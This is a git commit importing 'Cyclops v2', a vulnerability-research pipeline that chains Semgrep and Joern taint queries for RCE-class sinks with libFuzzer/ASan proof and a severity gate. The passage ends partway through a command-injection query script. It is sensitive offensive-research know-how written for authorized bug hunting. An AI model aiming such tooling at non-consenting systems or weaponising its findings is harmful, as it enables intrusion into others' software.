● Zion Boggan zionboggan.com ↗

Initial import: Cyclops v2 vulnerability research engine

Execution-grounded research loop: a KuzuDB/Redis memory layer, a static
CPG-dataflow brain (Semgrep to Joern), and a dynamic proof oracle
(libFuzzer/ASan), gated by an anti-slop severity refusal engine that only
records a finding when backed by a real execution artifact. Validated
end-to-end on real cJSON source (see VALIDATION.md).
99e0f58   Zion Boggan committed on Jul 3, 2026 (1 month ago)
.gitignore +15 -0
@@ -0,0 +1,15 @@
+node_modules/
+.env
+.env.*
+!.env.example
+.venv/
+venv/
+__pycache__/
+*.pyc
+dist/
+build/
+.next/
+out/
+*.log
+_logs/
+.DS_Store
README.md +60 -0
@@ -0,0 +1,60 @@
+# Cyclops v2 - execution-grounded vulnerability research
+
+A ground-up rebuild. v1 was a code-*reader* that pattern-matched known bug shapes,
+drifted to low-severity IDOR/BAC/SSRF, never proved RCE, and only ever found
+sibling-CVEs. v2 is built on one law: **only an execution artifact may declare a
+finding** - an ASan crash, a popped shell, a retrieved secret. Never an LLM's opinion.
+
+## The three pillars
+
+| Pillar | What | Where | Fixes |
+|--------|------|-------|-------|
+| **1 - Memory** | KuzuDB graph (targets→hypotheses→proofs→findings + **cleared-axes**) + Chroma (semantic recall) + Redis (queue/cache) + Obsidian `vault/` | `memory/`, `vault/` | drift, tunnel-vision, re-screening |
+| **2 - Brain** | Semgrep fast-pass → **Joern CPG dataflow** (reachable source→sink) → CodeQL deep | `brain/` | sibling-CVE-only; finds *novel* unexplored sinks |
+| **3 - Oracle** | libFuzzer/AFL++ + **ASan/UBSan** → crash triage (GEF) → Docker/CT detonation | `oracle/` | never proved RCE; the only thing that creates a finding |
+
+The **severity gate** (`vault/00-doctrine/SEVERITY-GATE.md`) is a *refusal engine*:
+8 P1 impact families, each with its exact oracle and its v1 overclaim traps
+("injection reachable" ≠ "ATO completes"; "read DoS" ≠ "RCE"). Anything below the
+gate goes to the cleared-axes log, never to a finding. Enforced in code:
+`memory.promote_to_finding()` raises unless a non-DISPROVEN `Proof` exists.
+
+## Where it runs
+
+Everything runs **on the forge box (CT 236, REDACTED-IP)** - it holds the heavy
+tools (Joern, CodeQL, AFL++, clang/ASan, Ghidra, KLEE, SymCC) and the venv
+(`/opt/cyclops-venv`). Redis + KuzuDB are forge-local (Redis bound to localhost -
+never LAN, that's a gate family). The repo + human-readable `vault/` live on CT 215
+(`/shared/projects/cyclops-v2`, Samba-readable so Zion opens the vault in Obsidian).
+Sync: `rsync -az cyclops-v2/ root@REDACTED-IP:/opt/cyclops-v2/`.
+
+## Operate
+
+```bash
+# on forge (CYCLOPS_HOME=/opt/cyclops-v2, PY=/opt/cyclops-venv/bin/python)
+$PY orchestrator/seed_graph.py # seed archetypes + sink classes + gate
+$PY orchestrator/feed.py 21 # poll fresh releases (<=21d) -> targets queue
+$PY orchestrator/orchestrator.py drain-targets # brain pass on each fresh target
+$PY orchestrator/orchestrator.py drain-oracle # route hypotheses to proof
+$PY orchestrator/orchestrator.py status # graph + queues + GATED findings
+```
+
+The loop: **feed → brain (hypotheses) → oracle (proof) → gate (finding) → vault**.
+Novelty by construction: hunt days-old code (`feed.py`), CPG finds unexplored
+source→sink paths, sibling-CVE gate runs before deep work.
+
+## Validated
+
+`orchestrator/e2e_proof.sh` runs the whole chain on real cJSON source (brain CPG →
+oracle fuzz → ASan crash → triage → gated finding). `memory/selftest.py` proves the
+gate refuses findings without proof and honors DISPROVEN (9/9 pass).
+
+## Tooling reality (honest)
+
+- Present + verified: Joern (CPG dataflow proven), CodeQL 2.25.1, Semgrep 1.166,
+ AFL++ 4.0, clang-14 + libFuzzer/ASan/UBSan (compile proven), GEF, Ghidra, KLEE,
+ SymCC, Docker 29, KuzuDB 0.11, Chroma 1.5, Redis 8.
+- **rr unavailable**: this is an unprivileged LXC (`perf_event_paranoid=4`, no HW
+ perf counters). Crash→exploit triage uses GEF + the ASan report instead.
+- **Firecracker/microVM unavailable**: no `/dev/kvm` in the LXC. Detonation uses
+ Docker on forge + the isolated detonation CT (302) for risky targets.
VALIDATION.md +45 -0
@@ -0,0 +1,45 @@
+# Cyclops v2 - validation record (2026-06-11)
+
+Every pillar exercised on real data, not asserted. Reproducible via the scripts named.
+
+## Pillar 1 - Memory + anti-slop gate (`memory/selftest.py`)
+9/9 PASS:
+- finding **REFUSED** without an execution proof (the core anti-slop rule)
+- finding **ALLOWED** once an ASan-write proof is attached
+- **DISPROVEN** hypothesis can never become a finding
+- cleared-axis recall (anti-tunnel-vision) + redis cache/queue/dedup roundtrips
+
+## Pillar 2 - Brain / CPG dataflow (`brain/`, run via `e2e_proof.sh`)
+- Joern smoke test: traced `argv → strcpy`, `DATAFLOW_PATHS=2`.
+- On **real cJSON source**: `c-memory-corruption.sc` found **103 reachable
+ source→sink memory-corruption paths** → 103 hypotheses written to the graph.
+- Query library: **36 Semgrep rules** `--validate` clean + smoke-tested (14 rules
+ fire on the right sinks); 7 Joern dataflow scripts (`reachableByFlows`).
+
+## Pillar 3 - Oracle / dynamic proof (`oracle/`, `crash_demo.py`)
+- libFuzzer+ASan+UBSan harness **compiled and ran against real cJSON** (clang-14).
+- On a hardened tag: **no crash → ZERO findings recorded** (refused to fabricate).
+- Triage→gate on real ASan reports:
+ - heap **WRITE** → CRITICAL → **promoted to Finding**
+ - **use-after-free** → CRITICAL → **promoted to Finding**
+ - heap **READ** → MEDIUM → **CLEARED, NOT inflated to a P1** ← this exact
+ inflation (read-DoS→HIGH) was v1's audited failure mode; v2 refuses it.
+ - Graph held only the 2 RCE-capable findings; the READ went to ClearedAxis.
+
+## Supporting - fresh-target feed (`orchestrator/feed.py`)
+Pulled **17 real, days-old releases** from live GitHub, e.g. llama.cpp (0.3d old),
+safetensors v0.8.0 (2.3d), transformers v5.11.0 (1.0d), langchain-core (0.4d),
+grafana v13.0.2 (2.2d), jenkins (1.1d). Anti-"beaten-to-the-punch" hunting on live data.
+
+## End state
+Clean seeded graph (6 archetypes, 12 sink classes), **17 fresh targets queued**,
+0 fabricated findings. Engine on forge (CT236); repo+vault on CT215.
+
+## Honest limits
+- `rr` unavailable (unprivileged LXC, `perf_event_paranoid=4`) → GEF + ASan reports
+ for crash→exploit triage instead.
+- Firecracker/microVM unavailable (no `/dev/kvm`) → Docker + detonation CT 302.
+- Joern `.sc` scripts authored against the proven `reachableByFlows` form; the C
+ memory-corruption query is run-verified (103 paths), the rest compile-check on
+ first archetype run. Python/JS dynamic-dispatch dataflow can under-resolve
+ (documented in `brain/joern-queries/_runner.md`); the ASan oracle is the arbiter.
bin/sync.sh +9 -0
@@ -0,0 +1,9 @@
+#!/bin/bash
+# Sync the cyclops-v2 repo (CT215) -> forge engine (/opt/cyclops-v2), WITHOUT
+# deleting forge-generated runtime artifacts (cloned targets, harnesses, crashes,
+# the kuzu graph). Code is authoritative on CT215; runtime state lives on forge.
+rsync -az --delete \
+ --exclude 'oracle/work/' --exclude 'oracle/crashes/' --exclude 'oracle/harnesses/' \
+ --exclude 'targets/src/' --exclude 'memory/graph.kuzu/' --exclude '**/__pycache__/' \
+ -e ssh /shared/projects/cyclops-v2/ root@REDACTED-IP:/opt/cyclops-v2/
+echo "synced (runtime artifacts preserved)"
brain/brain.py +135 -0
@@ -0,0 +1,135 @@
+#!/usr/bin/env python3
+"""
+Cyclops v2 - Pillar 2, the novelty brain.
+
+Pipeline on a target source tree:
+ 1. (cache) skip if this commit already analyzed for this phase.
+ 2. semgrep fast-pass -> candidate high-severity sinks (cheap, broad).
+ 3. joern dataflow -> which candidate sinks are REACHABLE from untrusted
+ sources (source->sink taint). Reachable path = a
+ HYPOTHESIS written to the graph. NOT a finding.
+ 4. hand hypotheses to the oracle (Pillar 3) for execution proof.
+
+A reachable dataflow path is a hypothesis. Only oracle.py can turn it into a
+finding, and only memory.promote_to_finding (which requires a Proof) records it.
+"""
+import os, sys, json, subprocess, glob
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "memory"))
+from memory import Memory
+
+CYCLOPS_HOME = os.environ.get("CYCLOPS_HOME", "/opt/cyclops-v2")
+VENV_PY = os.environ.get("CYCLOPS_PY", "/opt/cyclops-venv/bin/python")
+SEMGREP = os.environ.get("CYCLOPS_SEMGREP", "/opt/cyclops-venv/bin/semgrep")
+JOERN = os.environ.get("CYCLOPS_JOERN", "/opt/joern/joern-cli/joern")
+QUERY_DIR = os.path.join(CYCLOPS_HOME, "brain", "joern-queries")
+RULE_DIR = os.path.join(CYCLOPS_HOME, "brain", "semgrep-rules")
+
+# map a joern query script -> the sink_class / impact_family it proves
+QUERY_SINKCLASS = {
+ "c-memory-corruption.sc": ("memory-corruption", "RCE via Memory Corruption"),
+ "deserialization-rce.sc": ("deserialization", "RCE via Deserialization"),
+ "command-injection.sc": ("command-injection", "RCE via Command Injection"),
+ "path-traversal.sc": ("path-traversal", "Arbitrary File Read/Write"),
+ "ssrf.sc": ("ssrf", "SSRF chains to Critical"),
+ "template-injection.sc": ("template-injection","RCE via Template Injection"),
+ "js-electron-rce.sc": ("electron-rce", "One-Click/Zero-Click RCE"),
+}
+
+
+def semgrep_pass(src):
+ """Fast broad pass. Returns list of candidate sink dicts."""
+ if not os.path.isdir(RULE_DIR) or not os.listdir(RULE_DIR):
+ return []
+ try:
+ out = subprocess.run(
+ [SEMGREP, "--quiet", "--json", "--config", RULE_DIR, src],
+ capture_output=True, text=True, timeout=1200)
+ data = json.loads(out.stdout or "{}")
+ except Exception as e:
+ print(f"[brain] semgrep error: {e}")
+ return []
+ cands = []
+ for r in data.get("results", []):
+ cands.append({
+ "file": r.get("path"),
+ "line": r.get("start", {}).get("line", 0),
+ "rule": r.get("check_id"),
+ "msg": r.get("extra", {}).get("message", ""),
+ })
+ print(f"[brain] semgrep: {len(cands)} candidate sinks")
+ return cands
+
+
+def joern_query(src, script, project):
+ """Run one joern dataflow script. Returns parsed FINDING lines."""
+ path = os.path.join(QUERY_DIR, script)
+ if not os.path.exists(path):
+ return []
+ try:
+ out = subprocess.run(
+ [JOERN, "--script", path, "--param", f"inputPath={src}",
+ "--param", f"projectName={project}"],
+ capture_output=True, text=True, timeout=3600)
+ except subprocess.TimeoutExpired:
+ print(f"[brain] joern timeout on {script}")
+ return []
+ findings = []
+ for ln in (out.stdout or "").splitlines():
+ if ln.startswith("FINDING:"):
+ # FINDING: file:line class=X source=... sink=...
+ try:
+ body = ln[len("FINDING:"):].strip()
+ locpart, rest = body.split(" ", 1)
+ fp, _, lno = locpart.rpartition(":")
+ kv = {}
+ for tok in ("class", "source", "sink"):
+ if tok + "=" in rest:
+ seg = rest.split(tok + "=", 1)[1]
+ # value runs until the next ' key=' marker
+ for nxt in (" class=", " source=", " sink="):
+ if nxt.strip(" =") != tok and nxt in seg:
+ seg = seg.split(nxt)[0]
+ kv[tok] = seg.strip()
+ findings.append({"file": fp, "line": int(lno) if lno.isdigit() else 0,
+ "cls": kv.get("class", ""), "source": kv.get("source", ""),
+ "sink": kv.get("sink", "")})
+ except Exception:
+ continue
+ return findings
+
+
+def analyze(repo, archetype, src, lang="", commit="", released_at=""):
+ m = Memory()
+ tid = m.upsert_target(repo, archetype, lang=lang, commit=commit,
+ released_at=released_at, status="ANALYZING")
+ if m.analysis_done(tid, "brain"):
+ print(f"[brain] {repo}@{commit} already analyzed (cache hit) - skipping")
+ return tid, []
+
+ semgrep_pass(src) # broad triage (logged; informs which queries to prioritize)
+
+ hyps = []
+ for script, (sink_class, impact) in QUERY_SINKCLASS.items():
+ fs = joern_query(src, script, f"cyc_{archetype}")
+ for f in fs:
+ hid = m.add_hypothesis(tid, sink_class, f["file"], f["line"],
+ f["source"], f["sink"], "joern")
+ hyps.append({"hid": hid, "sink_class": sink_class, "impact": impact,
+ "file": f["file"], "line": f["line"],
+ "source": f["source"], "sink": f["sink"]})
+ if fs:
+ print(f"[brain] {script}: {len(fs)} reachable source->sink paths")
+ m.mark_analysis_done(tid, "brain")
+ m.enqueue("oracle", {"target": tid, "repo": repo, "src": src,
+ "archetype": archetype, "hypotheses": hyps})
+ print(f"[brain] {repo}: {len(hyps)} HYPOTHESES queued for oracle proof")
+ return tid, hyps
+
+
+if __name__ == "__main__":
+ if len(sys.argv) < 4:
+ print("usage: brain.py <repo> <archetype> <src_path> [lang] [commit]")
+ sys.exit(1)
+ analyze(sys.argv[1], sys.argv[2], sys.argv[3],
+ lang=sys.argv[4] if len(sys.argv) > 4 else "",
+ commit=sys.argv[5] if len(sys.argv) > 5 else "")
brain/joern-queries/README.md +92 -0
@@ -0,0 +1,92 @@
+# Cyclops v2 - the static-analysis "novelty brain"
+
+This directory (`brain/joern-queries/`) plus its sibling (`brain/semgrep-rules/`) are the **novelty
+brain** of Cyclops v2: the static layer that surfaces *candidate* source→sink dataflow paths to
+high-severity sinks. It is the front of a three-stage pipeline.
+
+```
+ ┌──────────────────────┐ candidate sinks ┌───────────────────────┐ reachable paths ┌────────────────────┐
+ │ 1. SEMGREP fast-pass │ ───────────────────▶ │ 2. JOERN dataflow │ ─────────────────▶ │ 3. DYNAMIC ORACLE │
+ │ brain/semgrep-rules/ │ (cheap, per-file │ brain/joern-queries/ │ (source→sink │ oracle/ - crash / │
+ │ │ regex/AST match) │ reachableByFlows │ reachability) │ shell / secret │
+ └──────────────────────┘ └───────────────────────┘ └────────────────────┘
+ SOURCE-shaped? SOURCE_CONFIRMED REPLICA_CONFIRMED →
+ (sink present) (path exists) LIVE_CANARY_CONFIRMED
+```
+
+## The one rule that governs this whole directory
+
+> **A reachable dataflow path is a HYPOTHESIS, never a finding.**
+> Cyclops v1 reasoned its way from "the sink is reachable" to "this is exploitable" and wrote
+> reports. v2 does not. Reachability ≠ exploitation. The **only** thing that promotes a candidate is
+> an **execution artifact** produced by the dynamic oracle:
+> an ASan/UBSan crash with a controlled fault, a popped shell / callback / command output, a
+> retrieved secret, or a proven state change. See `vault/00-doctrine/OPERATING-CORE.md §2` and
+> `vault/00-doctrine/SEVERITY-GATE.md`.
+
+Every `FINDING:` line a Joern script prints is labelled in the pipeline as **SOURCE_CONFIRMED at
+best** - it names a *plausible endpoint* on a demonstrable path to one of the eight impact families.
+It is the oracle's job to fire the family's oracle artifact. If the oracle cannot, the candidate is
+**DISPROVEN** and logged to `vault/04-cleared-axes/` - it never becomes a report.
+
+## Why two stages (semgrep then Joern)
+
+- **Semgrep (`brain/semgrep-rules/`)** is the cheap first pass. It runs per-file, no CPG build, and
+ answers "does this repo even *contain* a dangerous sink of class X?" It is deliberately
+ **HIGH-severity sinks only** - no hardening/lint noise (missing headers, weak ciphers, etc.). Each
+ rule's `message` names the impact gate (which SEVERITY-GATE family) and carries `metadata.cwe`,
+ `metadata.confidence`, `metadata.archetype`, and `metadata.impact`. A semgrep hit is a *candidate
+ sink* - it tells the orchestrator which Joern script is worth the heavier CPG run.
+- **Joern (`brain/joern-queries/`)** is the confirmation pass. For each candidate sink class it
+ builds a CPG and runs `reachableByFlows` to ask "is there an actual taint path from an untrusted
+ **source** to this **sink**?" A path here is a real source→sink chain, much stronger than sink
+ presence - but still only a hypothesis until the oracle proves impact.
+
+Semgrep narrows *which* sink classes exist; Joern proves *reachability*; the oracle proves *impact*.
+
+## Sink classes (organized by target archetype)
+
+Archetypes live in `vault/01-archetypes/`: `ml-model-loaders`, `ai-agent-mcp`, `devops-infra`,
+`electron-desktop`, `memory-unsafe-parsers`, `cicd-supplychain`.
+
+| Sink class | Joern script | Semgrep rule | Primary archetypes | Gate family |
+|---|---|---|---|---|
+| C/C++ memory corruption | `c-memory-corruption.sc` | *(use compiler+ASan; see note)* | memory-unsafe-parsers, ml-model-loaders | F1, F7 |
+| Untrusted deserialization | `deserialization-rce.sc` | `deserialization.yaml`, `ml-unsafe-load.yaml` | ml-model-loaders, ai-agent-mcp | F1 |
+| Command / code injection | `command-injection.sc` | `command-injection.yaml` | devops-infra, ai-agent-mcp, cicd-supplychain | F1 |
+| Path traversal / zip-slip | `path-traversal.sc` | `path-traversal.yaml` | devops-infra, ml-model-loaders | F7 |
+| SSRF | `ssrf.sc` | `ssrf.yaml` | ai-agent-mcp, devops-infra, ml-model-loaders | F7 |
+| Template injection (SSTI) | `template-injection.sc` | `template-injection.yaml` | ai-agent-mcp, devops-infra | F1 |
+| Electron renderer→main RCE | `js-electron-rce.sc` | `electron.yaml` | electron-desktop | F1 |
+
+*(C memory-corruption has no semgrep rule by design - sink *presence* of `strcpy`/`memcpy` is too
+noisy to be useful triage; the value is the dataflow path plus the ASan oracle. The Joern script
+still prints `CANDIDATE_SINK` lines if you want the raw sink inventory.)*
+
+## How the orchestrator uses this
+
+1. **Recon → archetype.** Classify the target (an ML loader? an MCP agent? an Electron app?). This
+ selects the relevant semgrep rule files and Joern scripts.
+2. **Semgrep fast-pass.** `semgrep --config brain/semgrep-rules/ <target>` (or the subset for the
+ archetype). Candidate sinks → which Joern scripts to run.
+3. **Joern confirm.** Run each indicated script (`_runner.md`). Collect `FINDING:` lines = reachable
+ source→sink paths. Prioritize: `[metadata-reachable]` SSRF, `shell=True`-confirmed cmdi,
+ no-normalization path-traversal, `trust_remote_code=True` model loads.
+4. **Hand to the oracle.** Each reachable path becomes an oracle task: build a replica
+ (`vault/00-doctrine/OPERATING-CORE.md` replica-first rule), drive the sink with a crafted input,
+ and look for the family's artifact. Artifact → REPLICA_CONFIRMED. No artifact → DISPROVEN + log.
+5. **Only the oracle opens a report.** And only inside authorized scope may a LIVE_CANARY step follow.
+
+## Output contract (both layers)
+
+- Semgrep: standard semgrep JSON/SARIF. `metadata.impact` + `message` carry the gate mapping.
+- Joern: parseable stdout - `CANDIDATE_SINK`, `CANDIDATE_SINKS[..]=n`, `FINDING`,
+ `DATAFLOW_PATHS[..]=n`, `SCAN_COMPLETE[..]`. See `_runner.md` for the full grammar and a JSONL
+ parser.
+
+## Authorization reminder
+
+Per `OPERATING-CORE §1`, these queries run only against **consenting targets** (owned infra,
+local replicas, disposable labs, or explicitly in-scope bounty assets). Static analysis of a repo is
+read-only, but the candidates it produces drive the oracle - and the oracle only ever detonates
+against an owned replica first. Never point the pipeline at a non-consenting third party.
brain/joern-queries/_runner.md +107 -0
@@ -0,0 +1,107 @@
+# Joern query runner - how to invoke each script and read the output
+
+These are the Cyclops v2 **dataflow-confirmation** scripts. Each takes a source path, builds (or
+loads) a CPG, and runs `reachableByFlows` source→sink taint queries for one sink class.
+
+> A `FINDING:` line is a **reachable dataflow path = HYPOTHESIS at SOURCE_CONFIRMED**. It is **never**
+> a finding. Only the dynamic oracle (crash / popped shell / captured secret) promotes it. See
+> `README.md` and `vault/00-doctrine/SEVERITY-GATE.md`.
+
+## Binary
+
+```
+/opt/joern/joern-cli/joern # symlinked to `joern` on the forge box
+```
+
+## Invoke one script against a target
+
+```bash
+joern --script /shared/projects/cyclops-v2/brain/joern-queries/<script>.sc \
+ --param inputPath=/abs/path/to/target/src \
+ --param projectName=mytarget # optional; defaults per-script
+```
+
+`importCode` auto-detects the language (C/C++, Java/JVM, JS/TS, Python, Go, …). Point `inputPath` at
+the repo root (or the relevant subtree). First run builds the CPG (slow on large trees); the
+`projectName` workspace is cached under `~/.joern/workspace` for reuse.
+
+### Scripts and what each targets
+
+| Script | Languages | Sink class (SEVERITY-GATE family) |
+|---|---|---|
+| `c-memory-corruption.sc` | C/C++ | strcpy/memcpy/sprintf/alloca/int-overflow-alloc/array-index (F1 RCE, F7) |
+| `deserialization-rce.sc` | Python / Java / JS | pickle/yaml/torch/joblib/ObjectInputStream/node-serialize (F1) |
+| `command-injection.sc` | Py / JS / Java / C | os.system/subprocess(shell=True)/child_process/Runtime.exec/eval (F1) |
+| `path-traversal.sc` | Py / JS / Java / C | open/sendFile/extractall(zip-slip)/fopen (F7) |
+| `ssrf.sc` | Py / JS / Java / C | requests/axios/fetch/urllib/curl tainted URL (F7) |
+| `template-injection.sc` | Py / JS / Java | render_template_string/Handlebars.compile/Freemarker (F1 SSTI) |
+| `js-electron-rce.sc` | JS/TS | ipcMain handler arg / custom-protocol arg → exec/eval/shell (F1) |
+
+## Reading the output
+
+Each script prints machine-parseable lines on stdout:
+
+```
+CANDIDATE_SINK: <file>:<line> class=<class> code=<sink call source text>
+CANDIDATE_SINKS[<class>]=<n>
+FINDING: <file>:<line> class=<class> source=<tainted source code> sink=<sink code>
+DATAFLOW_PATHS[<class>]=<n>
+CONFIG_CANDIDATE: <file>:<line> class=<class> code=<...> # electron only
+SCAN_COMPLETE[<script>]
+```
+
+- **`CANDIDATE_SINK` / `CANDIDATE_SINKS[..]`** - the sink call exists in the code. No taint proven
+ yet. This is the same signal the semgrep fast-pass gives; useful when dataflow under-resolves
+ (e.g. Python dynamic dispatch). Feed to manual review / the oracle's "reachability unknown" queue.
+- **`FINDING` / `DATAFLOW_PATHS[..]`** - Joern found a taint path from an untrusted source to the
+ sink. The class suffix tells you the source set: `<-input` (IO/web/CLI calls), `<-argv` (C main),
+ `<-io` / `<-params` (dynamic-lang IO calls vs entrypoint parameters), `<-ipc` / `<-proto` /
+ `<-anyparam` (electron). `[metadata-reachable]` on an SSRF line means the path can reach a cloud
+ metadata host - prioritize.
+- **`DATAFLOW_PATHS[..]=0` with `CANDIDATE_SINKS[..]>0`** - sink present but no taint path resolved.
+ Do **not** discard: dataflow can under-approximate (see limitations). Keep as a lower-priority
+ candidate for the oracle.
+
+### Parse to JSONL (example)
+
+```bash
+joern --script .../command-injection.sc --param inputPath=/t/src 2>/dev/null \
+ | grep '^FINDING:' \
+ | sed -E 's/^FINDING: ([^ ]+) class=([^ ]+) source=(.*) sink=(.*)$/{"loc":"\1","class":"\2","source":"\3","sink":"\4"}/' \
+ > candidates.jsonl
+```
+
+Then hand `candidates.jsonl` to the orchestrator, which routes each to the dynamic oracle for proof.
+
+## Batch all scripts over a target
+
+```bash
+TGT=/abs/path/to/target/src
+for s in c-memory-corruption deserialization-rce command-injection path-traversal ssrf template-injection js-electron-rce; do
+ echo "### $s"
+ joern --script /shared/projects/cyclops-v2/brain/joern-queries/$s.sc --param inputPath="$TGT" 2>/dev/null \
+ | grep -E '^(FINDING|DATAFLOW_PATHS|CANDIDATE_SINKS|SCAN_COMPLETE)'
+done
+```
+
+(The C and electron scripts no-op cleanly on the wrong language - empty candidate sets - so running
+the full sweep is safe; only the language-matching ones produce output.)
+
+## Limitations / fallbacks (honesty)
+
+- **Python / JS dynamic dispatch & aliasing.** `from pickle import loads as L; L(x)` or attribute
+ calls through variables can hide the sink from `.name(...)`. The deser/cmdi/ssti/path scripts
+ therefore match **both** the method name and the full call `.code` regex, and always print
+ `CANDIDATE_SINK`. Inter-procedural taint through deep callback chains may still under-resolve -
+ the candidate list is the safety net.
+- **`shell=True` for subprocess** is not cheaply readable as a keyword value across Joern versions.
+ We flag all subprocess sinks and add a `py-subprocess-shelltrue` refinement that looks for a
+ literal `True`/`sh` argument near the call. Treat subprocess FINDINGs without confirmed
+ `shell=True` as lower confidence.
+- **Array-index OOB & pure integer overflow** are not first-class taint sinks; the C script
+ approximates them via index operators and allocator size args. Lower confidence - the oracle's
+ ASan run is the arbiter.
+- **Electron inline arrow callbacks** may not always resolve via `MethodRef` in every Joern JS
+ frontend version; `js-electron-rce.sc` adds an `<-anyparam` over-approximation source as a net.
+- **Over-approximation is intentional.** More candidate paths = more hypotheses. The gate is the
+ oracle, not the query. A noisy candidate list is acceptable; a missed sink is not.
brain/joern-queries/c-memory-corruption.sc +95 -0
@@ -0,0 +1,95 @@
+// c-memory-corruption.sc
+// Cyclops v2 - novelty brain / Joern dataflow pass
+// SINK CLASS: C/C++ memory corruption (SEVERITY-GATE Family 1 RCE, Family 7 file-read/write).
+// TARGET ARCHETYPES: memory-unsafe-parsers, ml-model-loaders (the model-file/parser RCE class).
+//
+// What this does: builds (or reuses) a CPG for a C/C++ source tree, then for each dangerous
+// sink class runs a source->sink `reachableByFlows` taint query. It prints:
+// CANDIDATE_SINK: <file>:<line> class=<c> code=<...> (sink located, no flow proven yet)
+// FINDING: <file>:<line> class=<c> source=<...> sink=<...> (reachable taint path)
+// DATAFLOW_PATHS[<class>]=<n> (count of reachable paths)
+//
+// A FINDING line here is a HYPOTHESIS at SOURCE_CONFIRMED, NEVER a finding. Only the dynamic
+// oracle (ASan/UBSan crash with a controlled fault) promotes it. See README.md.
+//
+// INVOKE:
+// joern --script c-memory-corruption.sc --param inputPath=/abs/path/to/src
+// (optional) --param projectName=mytarget
+//
+// LANGUAGE NOTE: array-index OOB and pure integer-overflow are not first-class taint sinks in
+// Joern; we approximate them via (a) the size argument of allocators and (b) indexing operators.
+// These are coarser - treat their FINDING lines as lower-confidence hypotheses.
+
+import io.joern.dataflowengineoss.language._
+import io.joern.dataflowengineoss.queryengine.EngineContext
+import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode}
+
+@main def exec(inputPath: String, projectName: String = "cyclops_c"): Unit = {
+ importCode(inputPath = inputPath, projectName = projectName)
+ implicit val ctx: EngineContext = EngineContext()
+
+ // ---- helpers -------------------------------------------------------------
+ def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110)
+
+ def loc(n: AstNode): String = {
+ val ln = n.location.lineNumber.map(_.toString).getOrElse("?")
+ s"${n.location.filename}:$ln"
+ }
+
+ def emitCands(cls: String, calls: List[Call]): Unit = {
+ calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}"))
+ println(s"CANDIDATE_SINKS[$cls]=${calls.size}")
+ }
+
+ def emit(cls: String, flows: List[Path]): Unit = {
+ flows.foreach { p =>
+ val s = p.elements.head
+ val k = p.elements.last
+ println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}")
+ }
+ println(s"DATAFLOW_PATHS[$cls]=${flows.size}")
+ }
+
+ // ---- sources (untrusted input boundary for C/C++) ------------------------
+ // File/network/CLI/env input. For the parser/model-loader RCE class the strongest source is
+ // file content read by fread/read/mmap/getline.
+ val SRC = "(?i)(read|pread|readv|fread|fgets|getline|getdelim|gets|recv|recvfrom|recvmsg|" +
+ "scanf|fscanf|sscanf|vscanf|vsscanf|getenv|fgetc|getc|getchar|mmap|fgetws|fgetwc|" +
+ "fgetwln|getw|read_file|ReadFile)"
+ def srcCalls = cpg.call.name(SRC).argument // homogeneous Expression traversal
+ def srcArgv = cpg.method.name("main").parameter // argv/argc from CLI
+
+ def scan(cls: String, sinkRe: String): Unit = {
+ emitCands(cls, cpg.call.name(sinkRe).l)
+ emit(s"$cls<-input", cpg.call.name(sinkRe).argument.reachableByFlows(srcCalls).l)
+ emit(s"$cls<-argv", cpg.call.name(sinkRe).argument.reachableByFlows(srcArgv).l)
+ }
+
+ // ---- sink classes --------------------------------------------------------
+ // Unbounded string copy/concat -> classic stack/heap overflow.
+ scan("strcpy-overflow", "strcpy|strcatpy|strcat|stpcpy|wcscpy|wcscat|lstrcpyA|lstrcpyW|lstrcpy|lstrcatA|lstrcatW|lstrcat|StrCpy|StrCat")
+ // memcpy/memmove with a tainted length or tainted src.
+ scan("memcpy-overflow", "memcpy|memmove|bcopy|wmemcpy|wmemmove|CopyMemory|RtlCopyMemory")
+ // Format-string sinks: tainted format arg -> %n write / overflow; sprintf -> buffer overflow.
+ scan("format-overflow", "sprintf|vsprintf|swprintf|vswprintf|_snwprintf|wsprintfA|wsprintfW|wsprintf")
+ // printf-family with tainted FORMAT string specifically (format string vuln, %n).
+ scan("format-string", "printf|fprintf|vprintf|vfprintf|snprintf|vsnprintf|syslog|err|warn|errx|warnx")
+ // gets / scanf-into-buffer.
+ scan("gets-overflow", "gets|fgets_unlocked")
+ // Allocator size arg from tainted input -> integer overflow -> undersized buffer (then write OOB).
+ // NOTE: this flags the *allocation* whose size is tainted; the overflow write is a separate hop the
+ // oracle must observe. Coarse but high-value for the model-file/parser class.
+ scan("intoverflow-alloc","malloc|calloc|realloc|reallocarray|alloca|valloc|aligned_alloc|memalign|xmalloc|xcalloc|xrealloc|g_malloc|g_realloc|OPENSSL_malloc")
+
+ // Array-index OOB approximation: tainted value flowing into an index operator. Joern models
+ // `a[i]` as <operator>.indirectIndexAccess / .computedMemberAccess. Lower confidence.
+ {
+ val cls = "array-index-oob"
+ def idx = cpg.call.name("<operator>.(indirectIndexAccess|computedMemberAccess|indexAccess)")
+ println(s"CANDIDATE_SINKS[$cls]=${idx.size}")
+ emit(s"$cls<-input", idx.argument.reachableByFlows(srcCalls).l)
+ emit(s"$cls<-argv", idx.argument.reachableByFlows(srcArgv).l)
+ }
+
+ println("SCAN_COMPLETE[c-memory-corruption]")
+}
brain/joern-queries/command-injection.sc +89 -0
@@ -0,0 +1,89 @@
+// command-injection.sc
+// Cyclops v2 - novelty brain / Joern dataflow pass
+// SINK CLASS: OS command / code injection -> RCE (SEVERITY-GATE Family 1).
+// TARGET ARCHETYPES: devops-infra, ai-agent-mcp, cicd-supplychain, electron-desktop.
+//
+// Covers Python (os.system / subprocess / popen), JS/Node (child_process / eval / Function),
+// Java (Runtime.exec / ProcessBuilder), C (system / popen / execve family), and dynamic eval.
+//
+// FINDING = tainted data reaches a command/exec/eval sink. SOURCE_CONFIRMED only. The oracle must
+// land command output / a callback (SEVERITY-GATE F1 trap: "command string built from user input"
+// is a hypothesis; the injected command's OUTPUT is the finding).
+//
+// INVOKE: joern --script command-injection.sc --param inputPath=/abs/path/to/src
+//
+// shell=True NOTE: subprocess.run/Popen are only injectable with shell=True (or a shell string).
+// Joern cannot cheaply read the keyword arg's value across versions, so we (a) flag ALL subprocess
+// sinks as candidates and (b) add a refinement that checks for a literal `True`/`"True"` argument
+// near the call. Treat subprocess FINDINGs without a confirmed shell=True as lower confidence.
+
+import io.joern.dataflowengineoss.language._
+import io.joern.dataflowengineoss.queryengine.EngineContext
